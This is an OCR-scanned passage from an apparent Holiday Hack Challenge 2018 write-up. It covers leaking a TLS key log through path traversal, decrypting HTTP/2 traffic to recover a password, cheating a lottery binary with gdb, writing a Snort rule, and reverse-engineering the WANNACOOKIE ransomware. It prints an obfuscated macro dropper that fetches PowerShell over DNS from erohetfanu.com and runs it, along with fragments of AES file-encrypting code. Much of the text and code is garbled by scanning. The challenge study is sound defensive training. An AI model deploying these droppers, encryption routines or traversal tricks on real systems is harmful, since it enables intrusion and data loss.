pre-master-secretog from the server to decrypt the packets. Fortunately, we have a copy of
the scriptthat handles the initialization and variable declarations.

const dev_mode = true;

st key log path = ( !dev mode || _ dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {

key: fs.readFileSync(__ dirname + '/keys/server.key'),

cert: fs.readFileSync(__dirmame + '/keys/server.crt'},

http2: {

protocol: 'h2°, /f HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ "h2' 1],

}J

keylog : key log path /fused for dev mode to view traffic. Stores a few minutes worth at a time

I3

From this piece of code, we see that dev_modeis turned on. A keylogis used to decrypt
traffic for troubleshooting purposes. Now we need to understand what the environment
variables does since the server-side validation also generates a custom 404 Not Found
error. Pretty smart.
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Let’s try to get lucky and see if we can download the server.key using the following URL:

https://packalyzer.kringlecastle.com/pub/keys/server.key

Error: EMOENT: mo such file or directory, open 'Jopt/http2/pub//key

ys/server.key'

Yeah, we hope it would be that easy. Anyway, we did get a bit of luck, we do know that there
is a /pub directory and that the script does a quick check but, in this case, /keys/server.key
does not exist hence, we get the Error No ENTry/ENTity error. It appears the 404 Not Found
check is only applicable to files inside /pub/but not inside a sub-directory of /pub/. We can
assume that /opt/http2is our _dlirname.

if (dev_mode) {

ffCan set env vari

const env_dirs = ["/pub/', " /uploads/'];

Since dev_modeis always true, we know that the development environment will always be
loaded. We can then verify if ‘process.env.DEV”exists or not.

https://packalyzer.kringlecastle.com/DEV/
https://packalyzer.kringlecastle.com/DEV/test.txt

Error: EISDIR: illegal operation on & directory, read

We get an Error IS DIRectory message. It means that the value of the ‘process.env.DEV”
variable is the name of the /DEV sub-directory. However, for now, we do not know what it
contains. Adding a filename after /DEV/results to ENOENT. This time let us check the what
the variable ‘process.env.SSLKEYLOGFILE”is used for.

https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/
https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/test.txt

Error: EMOENT: no such file or directory, open 'Jopt/httplpackalyzer_clientrandom_ssl.log/test.txt’

Aha. It looks like we tricked the validating code to treat SSLKEYLOGFILE as a sub-directory
but the script in fact printed out the value of SSLKEYLOGFILE which appears to be a name
of an actual file called ‘packalyzer_clientrandom_ssl.log’.
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In the script we see __dlirname + process.env.DEV + process.env.SSLKEYLOGFILE as the
key_log_path. Here is what it would like Yopt/http2/DEV/packalyzer._clientrandom_ssl.log".
So, this would translate to the following URL:

https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log

@ https://packalyzer.kringlecastle.com

CLIENT_RAMNDOM BCS@BGABBSS515129E7CEB1BDCASFS4365EEC299DBS2AFCFC2FD2ACSCEEE81B1D
JEIEVBCSEBBAVIBEZ4EBYDDE122EDBE36F221FEADFEBADG1762BBEB3E30067FCCEIAL477CB418B3D738E77BBCL20ABA

CLIENT_RAMDOM 42A7749EBDIF@271DEEDG43222D63CCAFBAIEES9D2TELIFESEGLIBSEI7BEELSRCE
BED@28EBEEB434C1@1FEDCSC2EFEC3753116D228931F500D8EB32@1430F26FE9312A7EE3CATDT2179CCDEE3FCED285952
CLIENT_RAMDOM BF265AGEBEIDBSTFFEF1917AF394DB38980A324A6942B8937E39751AC4F6577B
CABELAED2CEES7F@3234DIEASOO3EC55092B27DE2962E2DE4163CBD175895792B47B11F3CA7032203EB68002EER322DES
CLIENT_RAMDOM 1AZ255EBEEEBASDOZCBESEEACZZAGIFTDEGID24735F4461E712AF@B22FF@71CDERE
F223143310B83C24CABF41E16971235FE01ASTD4BSDECELICAL 2EGRES1904CDETEAELI143956EATADF2E253219R213A2868
CLIENT_RAMDOM BEAAEB31F132893B5CD2512A64B11785986834D1@B5E20196F13E5A73C7CBAT450
SESFZAECO2EYBBABYASFIFSLIBCOL14Y9CCASFTESYSDF4205C2E8009FE22BE204A49BB25320065602E443BE873FCDE221DA
CLIENT_RAMDOM 3ASFCBREOA2D32EFEQ2489F 12562509507 3EB29BCO@CEFSFEE9EIEI3911CEBCE
FE2CBACACEBETOASFEDEEFG44FBIFTAGE2E290C422A7B0OB443ASFEEEBRC24BBEATTFIS93BEE3ALICODECEEAGD253B1EAELL
CLIENT_RANDOM 6@52634D597DEF@SADEF3C4DFEATCASBS6B25237162073021C584BD2EB25E40D
1FD21D4CE26824C551CF4EEC34AFDCACARCACAQEEFESSFDD3CEDEE46595505102C80C2E7AAD2EB5R9ECATBABSIAELOFE
TEE—

It looks like a pre-master-secret|og. Use it in Wiresharkto see if it decrypts HTTP/2traffic.

Source Destination Protocol  Length Info
1 @.0600008 10.126.0.105 10.126.0.3 TCP 74 40701
2 9.000013 10.126.9.3 10.126.0.105 TCP 74 443 >
3 9.000025 10.126.9.105 10.126.9.3 TCP SSCOP
4 9.9@8596 10.126.8.185 10.126.8. TLSY <spp Pre-Shared-Key |
5 9.008633 10.126.8.3 10.126.8. TCP (Pre)Master-Secret log flename
6 B.010608 10.126.8.3 10.126.9. LSy
7 8.018612 10.126.8.185 10.126.8. cp |D:'packalyzer_clienh'andom_ssl.Iog Browse...
8 @.811827 18.126.8.185 18.126.0. TLSY AMNAG 506! L
woomes 1012605 16.126.0. Tisvare- STANAG 06 ¥
11 0.013017 10.126.0.105 18.126.0. TLsvi.2 119 Appli 5 19.126.8.3 TE 74 48701 + 443 [SYN] Seq=0 Win=43698 ..
12 @.@13054 18.126.8.185 18.126.8.3 TLSvl.2 122 ApplidS 18.126.8.185 TCP 74 443 5 48781 [SYN, ACK] Seq=8 Ack=L.
25 CHRELEE LAl oL Rk TLsvl-2 108 Applifyge 18.126.8.3 TCP 66 48781 + 443 [ACK] Seq=1 Ack=1 Win=..
14 2.013069 10.126.9.3 10.126.9.105 TCP 66 443 :
15 8.013224 10.126.0.165 10.126.0.3 TLsvi.2 221 Applid18@5 16.126.8.3 vz 26@ Client Hello
16 9.913241 10.126.9.3 10.126.9.105 TLSv1.2 104 Applid3 16.126.6.185 66 443 » 48781 [ACK] Seq=1 Ack=195 Wi..
Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 3 18.126.6.1085 .2 3186 Server Hello, Certificate, Server ..
Ethernet II, Src: ©0:00:00 00:00:00 (00:00:00:00:00:00), Dst: BB:BB:BB_BD:DD:DElBS 18.126.8.3 66 4pTE1 + 443 ["CK] Seg=195 Ack=3841
Internet Protocol Version 4, Src: 10.126.8.185, Dst: 18.126.0.3 | : T . ’* a= = T -
Transmission Control Protocol, Src Port: 48781, Dst Port: 443, Seq: @, Len: @ 185 16.126.8.3 192 Client Key Exchange, Change Cipher..
[ 9 @.8127583 18.126.8.3 18.126.8.185 117 Change Cipher Spec, Finished
18 8.812888 18.126.8.3 18.126.8.185 184 SETTINGS[@]
11 8.813817 18.126.8.185 18.126.8.3 119 Magic
12 B8.813854 18.126.8.185 18.126.8.3 122 SETTINGS[@]
PCAP 13 8.813865 18.126.8.185 18.126.8.3 188 WINDOW UPDATE[@]
14 8.813869 18.126.8.3 18.126.6.185 66 443 + 48781 [ACK] Seq=3138 Ack=438..
15 8.813224 18.126.8.185 18.126.8.3 HTTP2 221 HEADERS[1]: GET /
16 8.813241 18.126.8.3 18.126.8.185 HTTP2 184 SETTINGS[@]

Frame 18: 184 bytes on wire (832 bits), 184 bytes captured (832 bits)
20:90:00_00:00:00 (00:00:00:00:00:80), Dst: 20:00:00_90:00:00 (00:00:00:00:00:08)
Internet Protocol Version 4, Src: 18.126.8.3, Dst: 18.126.8.185
Transmission Control Protocel, Src Port: 443, Dst Port: 48781, Seq: 3892, Ack: 321, Len: 38
secure Sockets Layer

HyperText Transfer Protocol 2

Ethernet II, Src:

Make sure to get the pre-master-secret within 10 to 30

seconds after you sniff the traffic. Otherwise, your
packalyzer_clientrandom_ssl.log will get overwritten by other users.
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Protocol  Length Info
- 1.826773 18.126.8.184 18.126.8.3 y 282 DATA[L
1.. 1.853845 18.126.6.3 18.126.8.184 ¥ 18163 DATA[1], DATA[1]
2.. 4.867779 18.126.8.1684 18.126.8.3 : 202 DATA[1] (application/json)
2.. 4.183836 18.126.68.3 18.126.8.164 : 18125 DATA[1], DATA[1]

» Content-encoded entity body (gzip): 98 bytes -> 65 bytes
v JavaScript Object MNotation: application/json
¥ Object
* Member Key: username
String value: alabaster
Key: username
¥ Member Key: password
String value: Packer-pfire-turntablel92
Key: password

Saved Pcaps

Name Download Reanalyze Delete

super_secret_packet_capture.pcap ¥ B i

19.16.1.25 19.19.1.1 116 S: 220 mail.kringlecastle.com ESMT..
3.146118 16.16.1.1 16.19.1.25 66 BB338 » 25 [ACK] Seq=1 Ack=51 Win=..
5.9865083 19.16.1.1 18.10.1.25 94 C: EHLO Mail.kringlecastle.com
8.986521 16.18.1.25 16.18.1.1 66 25 » 608838 [ACK] Seq=51 Ack=29 Win..
19.219178 19.16.1.25 19.19.1.1 93 S5: 258-mail.kringlecastle.com
19.219191 16.16.1.1 16.19.1.25 66 BB338 » 25 [ACK] Seq=29 Ack=78 Win..
19.219282 16.18.1.25 16.18.1.1 81 5: 258-PIPELINING
19.219285 16.16.1.1 16.19.1.25 66 68838 » 25 [ACK] Seq=29 Ack=93 Win..
19.219289 16.109.1.25 16.186.1.1 84 5: 25@-5IZE le240008
19.219211 16.10.1.1 16.19.1.25 66 68330 » 25 [ACK] Seq=29 Ack=111 Wi..
19.219215 16.18.1.25 18.18.1.1 75 S: 258-VRFY
19.219217 16.18.1.1 16.18.1.25 66 68830 » 25 [ACK] Seq=29 Ack=120 Wi..
19.219234 16.18.1.25 16.18.1.1 75 5: 258-ETRN
19.219236 16.18.1.1 16.18.1.25 66 68830 » 25 [ACK] Seq=29 Ack=129 Wi..
19.219242 16.18.1.25 18.18.1.1 79 S5: 258-5TARTTLS
19.219244 16.18.1.1 16.18.1.25 66 68830 » 25 [ACK] Seq=29 Ack=142 Wi..
19.219248 16.18.1.25 18.18.1.1 98 S: 258-ENHANCEDSTATUSCODES
19.2192586 16.18.1.1 16.18.1.25 66 B@330 + 25 [ACK] Seq=29 Ack=166 Wi..
19.219253 16.18.1.25 18.18.1.1 79 S: 258-BBITMIME
19.219255 16.18.1.1 16.18.1.25 66 H@330 + 25 [ACK] Seq=29 Ack=179 Wi..
19.219258 16.18.1.25 18.18.1.1 74 5: 258 DSN
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We see a bunch of SMTP traffic. Maybe there is a message to Alabasterfrom Holly.

P RE R =g o5E[Eaaan
smitp contains "Holly™ = | Expression... +
Mo, Time Source Destination Protocol  Length Info
28 25.554416 18.18.1.1 18.18.1.25 SMTP 117 C: MAIL FROM:<Holly.evergreen@mail.kring..
44 74,892182 16.196.1.1 18.18.1.25 SMTP 111 C: DATA fragment, 45 bytes

B FRIL FROM:<Holly . evergreengmail. kringlecastle.com>
259 2.1.8 Ok
RCPT TO:<alabaster.snowball@mzil.kringlecastle.com:
259 2.1.5 Ok
DATA
354 End data with <CR»<LF>.<CR><LF>
Date: Fri, 28 Sep 2818 11:33:17 -8460
To: alabaster.snowballmail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2818 11:33:17 -0480
MIME-Version: 1.8
Content-Type: multipart/mixed; boundary="----= MIME_ BOUNDARY @86 11181"

------ = MIME_BOUNDARY @@e 11181
Content-Type: text/plain

Hey

y alabaster,

Santa said you needed help understanding musical notes for accessing the wvault. He
said your fawvorite key was D. Anyways, the following attachment should give you all
the information you need about transposing music.
—————— = MIME_BOUNDARY @88 11181

ype: application/octet-stream
nsfer-Encoding: BASEG4

JVBERi@xLjUKIb/ 30vAKOCAWIGIiagoBPCAYTGLuTWFyaXpl ZCAXTCOMIDk30DMxICOT IFsghzMd
IDE@MCBdICOPTIDEYICSF IDC3IMz0RTCS0IDT gL 10g0Tc1MT cgPj4KZWskb21qCiAgTCAETCARTCAE
ICAETCARTCARTCARICARTCARTCARTCARTCARTCARTICARTCARTICARTCARTCAETICARTCASTCARICAE
ICAETCARTCAETCARTCAETCARTCARTCARTCARTCARTCARTCARTCARTCAETCAKOSAWIGIiagoBPCAY

It appears Holly sent an email about transposing music and sent an attachment via email.
Carve off the BASE64 attachment and decode it.

B Cornmand Prompt - more new.bd

D:\>b6d.exe -d attachment.txt new.txt

D:%\e»more new.txt
bDF-1.5
om

<< fLinearized 1 /L 97831 /H [ 738 148 ] /0 12 JE 77344 /N 2 /T 97517 >>
endobj

9 8 obj
<< /Type /XRef /fLength 59 /Filter /FlateDecode /DecodeParms << /Columns 5 /Predictor 12
/Info 18 8 R /Root 18 @ R /Size 38 /Prev 97518 /ID [<13c487782b515c6ale

0

COUNTER
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@ new.pdf - Adobe Acrobat Reader DC
Eile Edit View Window Help

Home  Tools new.pdf
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comfortable vocal range of a singer. Some elves can do this on the fly without really thinking,
but it can always be done manually, looking at a piano keyboard.

To look at it ancther way, consider a song “written in the key of Bb." If the musicians don't like
that key, it can be transposed to A with a little thought. First, how far apart are Bb and A?
Looking at our piano, we see they are a half step apart. OK, so for each note, we’'ll move down

one half step. Here's an onginal in Bb:
DCBbCDDDCCCDFFDCBbCDDDDCCDCBD

And take everything down one half step for A:
C#BABC#CEC#BBBCH#EECEBABCECH#CECEBBC#EBA

We've just taken Mary Had a Little Lamb from Bb to Al

New [Achievement] Unlocked: Network Traffic Forensics!

Click here to see this item in your badge

Check out Appendix G for
the whole document.
Baa... baa...
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9. Ransomware Recovery

ball is in dire need of your help. Santa's file server has been hit with

labaster Snowball deal with the malware on Santa's server by completing

or hints on achieving this objective, please visit Shinny Upatree and help him
ell Lottery Cranberry Pi terminal challenge.

somware called WANNACOOKIE. Time to
‘KringleCon great again.

ole network is infected wit
get rid of this bad cookie a

Shinny Upatree is our main elf.
he might be able to give us the help.
You will find /;) L paﬁ%, p near a tree.

He is just by the speaker gire{i close to Track 3.
vy AT

Hey! Mind giving ole’ Shinny
Upatree some help? There's
a contest | HAVE to win.
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I°11 hear the bells on Christmas Day
eir sweet, familiar sound will play
But just one elf,

Pulls off the shelf,
e bells to hang on Santa’s sleigh!

Please call me Shinny Upatree
I write you now, “cause I would be
The one who gets -

Whom Santa lets
e bells to hang on Santa's sleigh!

But all us elves do want the job,
onveying bells through wint'ry mob
To be the one
Toy making's done
e bells to hang on Santa’s sleigh!

o make it fair, the Man devised
A fair and simple compromise.
A random chance,
The winner dance!
e bells to hang on Santa’'s sleigh!

ow here I need your hacker skill.

o be the one would be a thrill!
Please do your best,

And rig this test

e bells to hang on Santa's sleigh!

omplete this challenge by winning the sleighbell lottery for Shinny Upatree.
e1f@af6182e21027 :~§

This cheeky elf is asking us to cheat in to winning the lottery for him. Ethically we should
not but for the sake of KringleCon we must. Shinny suggests using gdbto find and call
hidden random functions. (16)

New [Hint] Unlocked: Using gdb to Call Random Functions!!
Click here to see this item in your badge.

Without the source code, it is quite difficult to figure out what the binary can do. However, it
is possible to find interesting functions that are compiled by looking at object symbols. The
nmcommand is a tool that can list the BFEETETCEE R RO NIBE

tohex
winnerwinner

. . . 207f48 d _GLOBAL_OFFSET_TABLE_
symbols from the object file. For this T e R
challenge, let us focus on the symbols J§§ ' " _Il:Er;‘ggsterTHﬂmeTable
in the text (code) section represented T __libc_csu_fini
” T _ libc_csu init
by thg letter “7" They appear to be the T Tfint
functions that we can call: T _init
T _start
. T baseb4 cleanup
> main T baseb4 decode
> sorry T build decoding table
T hmac_sha256
> tohex T main
> winnerwinner ooy
.

e 1f@c15ch5e55951 :~$
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Now load the binary in gdb with -gto disable unnecessary output.

=1 f@c15cb5e55951:~% gdb -q ./sleighbell-lotto
Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done.

(gdb)

This time add a breakpoint at function main and then run the binary.

{gdb) break main

Breakpoint 1 at @xldce

{gdb) run

Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread db enabled]
sing host libthread db library “/1ib/x86 64-linux-gnu/libthread db.so.1".

Breakpoint 1, @x88085555555554ce in main ()
(gdb)

Great it works. Now skip the other functions and jump straight to winnerwinner.

ith gdb you fixed the race.
e other elves we did out-pace.
And now they'll see.
They "1l all watch me.
I'11 hang the bells on Santa’s sleigh!

ongratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 29) exited normally]

(gdb)
New [Achievement] Unlocked: The Sleighbell Lottery!
Click here to see this item in your badge.

Challenge 2018 - bytenibbler

HY

CUWUJINITE



Catch the Malware

Difficulty: e 55

Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

o1 f@65d15ac8d61c : ~$

The request is straightforward, build a snort rule that will alert ONLY on bad ransomware.
Let us check for any pattern on the sample pcap using tshark.

385 3.964644 18.126.8.187 ? 183.191.72.48 DNS 181 Standard query 8x2cSb TXT 63.77616E6E61636F6
F6B69652E6D696E2E787331 . rrehanbugs . ru

386 3.914138 183.191.78.48 ? 10.126.8.167 DNS 195 Standard query response 8x2cS5b TXT 63.77616E
6E61636F6F6B69652E6DE96E2ETB7331. rrehanbugs .. ru TXT

387 3.924283 18.126.8.92 ? 1.187.280.211 DNS 98 Standard query 8x4ble TXT 63.77616E6E61636F6F
6B69652E6D6O6E2E787331. gbreru.org

388 3.934436 1.167.286.211 ? 18.126.8.92 DNS 189 Standard query response 8x4b1@ TXT 63.77616E
6E61636F6F6B69652E6D696E2E7B7331 . gbreru.org TXT
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It looks like the domain and the IP changes. The thing that is constant is a hexadecimal
string with 19 characters. Interestingly, converting it to ascii it reads out as filename called:
“wannacookie.min.ps7”. With that in mind, let us build a snort rule based off of that.

; content:

Great it worked!
[+] C ratulation! Snort is alerting on all ranso

An alternative way is to create an alert that uses a PCRE or regex looking for hexadecimal
values in a domain. pcre:/A(0-9]+\.{0.2}/A-FO-9]+\.[a-zZA-Z0-9]+\.[a-zA-Z0-9]+S/" But for now,
let us use the wannacookie.min.ps1 as our indicator of compromise (I0C). In addition, let us
check the snort stats to confirm that it is working.

Replace:
Whitelist:
Blacklist:

New [Achievement] Unlocked: Snortl
Click here to see this item in your badge.
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Identify the Domain

Difficulty: S Ak

Using the Word docm file, identify the domain name that the malware communicates with.

New [Hint] Unlocked: Malware Reverse Engineeringl!
New [Hint] Unlocked: Dropper Download!
Click here to see this item in your badge.

We finally get a sample of the WANNACOOKIE from Alabaster. We can use olevba to view
VBA MACROs of the document and look for any suspicious code inside.

BA MACRO MNewMacros.bas
file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'

Sub AutoDpen()

Dim cmd As String

cmd = "powershell.exe -NoE -Nop -MonI -ExecutionPolicy Bwpass -C ""sal a New-Object; iex(a I0.StreamReader((a I0.Compres
z1on.DeflateStream{[I0.MemoryStream] [Convert] : :FromBasegd5tring (" TWVHRSsMwFP2Vawks YUtoWlkoooYd1yi rdoaB+EMUYoqQlsyU] ToXT7d2,
17b4pF51DzuGcez+aitXRegeP2 30 Tms FA/AKIBt4dd]bChAr BInCCGx1 ABOEM1 BsT51 23MKzr VocNXdT eHUZ Im/ kSeuu1VIRSZ1 Ixdr5 UEwILwGOKRucFER

TAPABMWmOSopC SV SZWrebw7daZus 1TKEBC6zsk1LPIcIyttRjgCIzehN1QXr IEX1 s pnKP7q¥Z 5 S+mM 7vjoavXP ek dwbd gumoARNBaZ K X59gwwi+T5akEb

J1EHJ1eTEQWWWMdADF Y397 NQKaM 527 ur IXpEv4 bY swf cnAS 1 nxQQwGaDxr 1PEMxH,/ kMy3gXREohG ") , [I0. Compression. CompressionMode] : : Decompress
1), [Text.Encoding] : :ASCII)).ReadToEnd()"" ™

shell cmd

End Sub

AutoExec AutoOpen Runs when the Word document i= opened

AutoExec Document_0Open Runz when the Word or Publisher
document 1= opened

Suspicious shell May run an executable file or a system
command

Suspicious powershell May run PowerShell commands

Suspicious ExecutionPolicy | May run PowerShell commands

Suspicious Mew-Object May create an OLE object using
PowersShell

powershell. exe Executable file name

You can spot an unconventional way of writing a VBA Macro/Script. It appears there is a
compressed string that is obfuscated in Base64 preventing us to understand what it is
trying to execute. A quick overview of what the macro does is to create a New Object that
Invokes and Executes a Base64 string which is then decoded and decompressedinto a
readable ASC// text format.

=
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A ESIINT

Let us run this script and remove some of its invoking properties (7ex)and output itinto a
file named ‘testps1” (] Out-File test.ps1)

PS D:\» powershell.exe -ExecutionPolicy Bypass -C “"sal a New-Object; (a I0.S5treamReader((a I0.Compression.DeflateStream(
[I0.MemoryStream] [Convert]: :FromBasegdString( ' IWHRSsMWwFP2VSwiksY Ut olkoodY4iyirdoaB+EMUYoqQlsyUjToXT7d2/ 1ZbdpF5IDzuGced+a3t
XRegcP2581msFASAKIBt4ddjbChArBInCCaxXiADOEMIBsFS123MKzrVocNXdfeHU2 Im/ kBeuuiVIRsZ1IxdrSUEWILwWGOK RucFEEP74PABMUM)SopCSVViSE
Wretw7daZus1lKt8CezskiLlPIcIyttRjgCo9zehNiQXrIBXispnKP7 QY Z55+mM7 vioavXPekdwbdqumoARNEa 2K jXS9quwf+TSakEb+]BH] 1e TBQwVWVMADF Y99
FHNQKaMSzZur IXpEvabYsWFonAS1nxQQwGDxr 1 PENxH/ kMy9gXREohG" ), [I0.Compression.CompressionMode]: :Decompress) ), [Text.Encoding]:
tASCII)).ReadToEnd() | Out-File test.psi™

PS D:yv> type .\test.psl

function H2A(%a) {%o; %a -split '(..)' | 2 { $_ } | forEach {[char]{[convert]: n1nt1h{$ L1630 | fanach {fo0 = %0 + &

}; return %o}; $f = "7761l6ERER1G36FEFEBEI652EGDEIGE2ZETBY331"; $h = ""; foreach ($1 in @..([convert]::ToInt32{{Resolve-Dn
sMame -5erver erchetfanu.com -Name "%f.erohetfanu.com”™ -Type TXT).strings, 18)1-1)) {%h += (Resolve- anName -5Server erohe
tfanu.com -Mame “%1.%T.eronetfanu.com” -Type TAT).strings}; iex(%(H2A %h | Out-string))

It ends up as a PowerShellcode. Let's sanitize it to understand the code better.

1 function H2A(%a)

2 = {50; 35a L) R forEach {[char]( convert tointl6(5_,16))7} forEach {%o fo 5_}; return %o

3 b

4 E‘- "_GJ."E'_GEGJ_GE“FBFﬁBEBGSE_GDGDEE?E 07331"

5

6 [E 'Fc each (%1 in 0..([convert Tol nt3'”(Rc~:3 ve-DnsName -Server erohetfanu.com -Name "3if.erchetfanu.com” -Type TXT).strings, 10)-1)) {
7 (Resolve-DnsName -Server erchetfanu.com -Mame "%1.3%f.erchetfanu.com” -Type TXT).strings

8 b

g Jex(3(H2A Sh Out-string))

10 |

It starts off with a function called H2A which splits a hexadecimal string in to pairs that gets
converted in to a 16-bit signed integer and finally gets an equivalent ASCII character. Next
up we see a familiar hexadecimal string on test.ps1. (wannacookie.min.ps1). This time it
gets the length of a string when the hexadecimal wannacookie is resolved with the domain
erohetfanu.com. [ e s

0.77616E6E61636F6F6B6965 2E6D6Y6EZE7O7 331 TXT Answer {2466756€6374696T6e73203d207b6675 6637469
. erohetfanu. com 6T6e20655T645T66696C6528246b65792c2024466

96C652c2024656e635T697429207b5b627974655b
5d5d246b6579203d20246b65793b2453756666697
8203d2022602e77616e6e61636F6F6b6965223b5b
53797374656d2e5265666C656374696f 622241737
3656d626c)

The length of the 32-bit signed .stringis 64. Which is probably why we saw multiple queries
in our Snort challenge. (0-63. 77616E6E61636F6F6B69652E6D696F2E707331.% %) It stores
and appends the output in to a variable which gets converted by the Hex2Ascii function.

The code seems to be resolving to the real DNS Name called:

erohetfanu.com, | wonder what that means?

Unfortunately, Snort alerts show multiple domains,
so blocking that one won't be effective.

Easter Egg:
Anagram: erohetfanu = Unearth Foe

Corsican : erohetfanu = they ate (cookies of course!)
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Stop the Malware

Difficulty: Tk 77

Identify a way to stop the malware in its tracks!

New [Hint] Unlocked: Ransomware Kill Switches!
Click here to see this item in your badge.

Alabaster is convinced that the WANNACOOKIE may have a kill switch like from an article he
read about a similar incident. (18) Now he is asking us to look for one. Continuing where we
left off, let us see what the strings from the 64 DNS queries returned.

PS D:\> function H2A(%a) {$o; %a -split "(..)" | 2 { $_ 3} | forEach {[char]{[convert]::toint16(%_,16))} | forEach {%o =
%0 + %_}; return $o}; &F = "77616EGE61636F6FEBEO652EBDEIBE2E7B7331™; $h = ""; foreach (%1 in @..([convert]::ToInt32((Re
solve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com” -Type TAT).strings, 18)-1)) {%h += (Resolve-DnsName -Ser
er erchetfanu.com -Name "$i.%f.erchetfanu.com™ -Type TAT).strings}; (%(H2A $h | Out-string)) | Out-File source.psl
PS D:%» type .\source.psl
ffunctions = {function e_d_file($key, $File, %enc_it)} {[byte[]]%key = $key;$5uffix = "  .wannacookie";[System.Reflection.
Azsembly]::LoadWithPartialMame('System.Security.Cryptography' );[System.Int32]%KeySize = $key.Length*8;FAESP = New-Object
'System.Security.Cryptography .AesManaged' ; SAESP.Mode = [System.Security.Cryptography.CipherMode]: :CBC;3AESP.BlockSize =
128;%AESP.KeySize = $KeySize;$AESP.Key = Skey;%FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]:: O
en);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$Filesk = Mew-Object System.I
0.FileStream($DestFile, [System.I0.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();%FileSk.Write([System.BitConverte
r]::GetBytes($AESP.IV.Length), @, 4);3FilesSW.Write($AESP.IV, 8, FAESP.IV.Length);%Transform = SAESP.CreateEncryptor()} e
lse {[Byte[]]%LenIV = Mew-Object Byte[] &;%FileSR.Seek(®, [System.I0.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV,
@, 3) | Out-Mull;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, @);[Byte[]]$IV = New-Object Byte[] $LIV;%FileSR.S
eck(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, @, SLIV) | Out-Null;$AESP.IV = $IV;$Transform = $AES
.CreateDecryptor()};$Cryptos = New-Object System.Security.Cryptography.CryptoStream($FileSW, %$Transform, [System.Securit
r.Cryptography.CryptoStreamMode] : :Write) ; [Int]$Count = @;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]%Data = Mew-0bje
ct Byte[] FBlockSzBts;Do {$Count = $FileSR.Read(%Data, @, $BlockSzBts);%CryptoS.Write(fData, @, $Count)} While (%Count -
gt 8);%CryptoS.FlushFinalBlock();%CryptoS.Close( );3FileSR.Close();;%FileSk.Close( ) ;Clear-variable -Name "key";Remove-Ite
$File}};function H2B {param(%HX);$HX = $HX -split "(..)' | ? { $_ }:ForEach (3¥value in $HX){[Convert]::ToInt32($value,l
6)}};function A2H(){Param(%a);%c = '';%b = %a.ToCharArray();;Foreach ($element in $b) {%c = %c + " " + [System.String]::
Format("{@:X}", [System.Convert]::ToUInt32(%element))};return %$c -replace ' '};function H2A() {Param(%a);%outa;%a -split
(..} | ? £ % 3+ | forEach {[char]{[convert]::tointl6(%_,16))} | forEach {$outa = %outa + % };return $outa};function

Wow, pretty smart! It used the strings from the DNS queries and rebuilt the entire source
code of the WANNACOOKIE. It looks like one very long string now, so take a moment to
sanitize the entire source code to make it more human friendly.

0

COUNTER

Challenge 2018 - bytenibbler SAN-S




OO SO0 v

After a careful review of the code we notice that the main function is called wanc and there
seems to be a lot of stuff getting initialized.

179 [Hfunction wanc {

180 "1f8b080000000000040093e7676212976522e1e6640F6361e7e202000cdd5 510000000

181 if ( ((Resolve-DnsName -Name S(H2-\ 5(B2H S(t"_ra}: £(B2H 5(G2E S(HZB 1)) $(Resolve-DnsName -Server erchetfanu.com
182 if (f(netstat -ano select-5tring "127 0.1:8080"). Tength 0 Ge‘t WmiObject Win32_ComputerSystem).Domain I-mI'-.G_
183 System.Convert FromBaseb45tr 1ng($(3 o_dns (" "“63"‘ 665722E637274") ) )

184 ([System. Text.Encoding Unicode. GetBytes (S(( c (Lchar]ol char]255) ([char ([char]01 char]255)) 0..9
185 £(B2H b

186 3(shl b

187 (p_k_e 3. ToString()

188 (snd_k )

189 ((5(Get-Date) ToL|11ver=a'IT1me() Qut-5tring) "rtn")

190 array S(Get-ChildItem #.el1fdb -Exclude *.wannacookie -Path "C:'Python27'power_dump'” -Recurse where { PSIsCont
191 e_n_d

We see that there are two conditional statements that terminates the function with freturn}.
Let us look at it closer.

it ( ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B D))
$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -
Type TXT).Strings))) .ToString() -ErrorAction O -Server 8.8.8.8))) {return}

if ($(netstat -ano Select-String "127.0.0.1:8080") .Tength 0 (Get-wmiobject
wWin32_ComputerSystem) .Domain "KRINGLECASTLE") {return}

The first conditional statement is exactly the same mechanism for getting the source code
while the second one is checking for an instance of 127.0.0.1 on port 8080. We can likely
use the 127.0.0.1 for internal devices but we cannot register the localhost in our domain
registrar. So, we will need to focus on the first one. Interestingly, it provided us with another
hexadecimal sting “68696C6C737769746368" Maybe it stands for something like the
wannacookie.min.ps1.

PS D:\> H2A 6BEI6CE -
killswitch “""

PS D:\> E}’ —

Nice, this malware author decided to cut corners and called his kill switch; “killswitch”in
hexadecimal. Just shows that malware authors are human beings too... So now let us
resolve the DNS of that kill switch and get its strings.

F“-u D:y> S(H2A $(B2H $(ti_rox %(B2H %(G2B F(H2E %51))) %(Resolwve-DnsName -Server erchetfanu.com -Name BBEIGCELCTIT7
.erohetfanu.com -Type TAT).Strings)))
yippeek_iyaa.aaay

Very good obfuscation, it generates bytes from a predefined hex string and merges it with
the strings from the resolved killswitch domain. Then finally, it XORs the bytes to generate a
new byte then when converted to ASC//gives us:

Mo Ho Ho Dadd) Domain Successfully
registered!

-
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Recover Alabaster's Password

Difficulty: e e e sk

Recover Alabaster's password as found in the encrypted password vault.
New [Hint] Unlocked: Memory Strings!
Click here to see this item in your badge.
Yippee-Ki-Yay! Now, | have a ma... kill-switch!

